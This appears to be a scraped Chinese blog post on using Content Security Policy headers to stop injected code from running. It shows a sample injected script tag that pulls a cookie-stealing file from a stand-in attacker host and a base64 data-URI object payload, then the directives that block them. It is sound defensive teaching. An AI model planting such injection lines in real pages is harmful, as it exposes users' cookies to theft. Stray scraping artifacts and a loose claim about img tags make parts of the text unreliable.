網頁入侵最後一道防線:CSP內容安全策略

首先,什麼是最後一道防線?
網頁入侵都有一個過程,簡單來講,就是1.代碼注入,2.代碼執行。php

對於黑客來講,代碼注入後並不表明就萬事大吉了,由於此時代碼只是安靜地躺在受害者的服務器裏,什麼壞事都沒幹呢!html

因此必需要有代碼執行這一步。
今天要講的,就是如何阻止惡意代碼的執行。安全

惡意代碼的執行方式1:inline script

好比個人某個網站 example.com 被注入了惡意代碼了,這段代碼長這樣:服務器

<script src="badguy.com/steal-your-cookies.js"></script>

這段代碼會從一個叫 badguy.com 的網站加載一個 js 腳本文件並執行。只要這段代碼被執行了,用戶的一些信息就會被竊取。cookie

惡意代碼的執行方式2:Data URI scheme

Data URI scheme 設計的初衷是爲了把一些小的資源,好比圖片,直接嵌入到 HTML 中,避免了額外的加載。
好比,傳統的圖片代碼是這樣的:網絡

<img src="example.com/1.jpg" />

這種加載會額外消耗網絡帶寬,並增長網頁的響應時間
如今能夠這樣作:網站

<img src="data:image/gif;base64,編碼數據" />

這樣的話,只要加載一次,就能夠顯示圖片了。
不過,這種方式能夠被利用來執行JS代碼!
好比,黑客只要注入下面這段看起來人畜無害的代碼,用戶一打開網頁,就會……boom!(好吧,其實就是彈出個對話框,調戲下用戶)編碼

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>

固然惡意代碼執行的方式多種多樣,這裏就不一一列舉了,你們有個概念便可。設計

防止代碼執行的內容安全策略:CSP

CSP是 Content-Security-Policy 縮寫,基本做用是創建一套白名單,全部在白名單以外的代碼都不容許執行。code

CSP 應用一:拒絕執行第三方域名的腳本

Content-Security-Policy: script-src 'self'

如此一來,例1中的 steal-your-cookies.js 腳本便不會被加載,更不會被執行了。

CSP 應用二:拒絕執行 Data URI Scheme

Content-Security-Policy: object-src 'none'

如此一來,例2中的 base64 編碼後的代碼就沒法被執行了。
可是,除了 object 標籤外,img 標籤也是能夠執行 base64 代碼的,除了 img,還有 media, frame 等……

CSP 應用三:向管理員主動報告入侵狀況

Content-Security-Policy: report-uri http://example.com/report.php

在 CSP 策略中加入 report-uri 指令,便可向特定網址發送當前網頁裏任何違反 CSP 策略的狀況。如此一來,管理員即可以知道本身的網站是否被入侵了。


接下來是廣告時間:
個人簡書:http://www.jianshu.com/u/0708...
個人知乎:https://www.zhihu.com/people/...
個人公衆號:OutOfRange

有事歡迎騷擾 ~

相關文章
相關標籤/搜索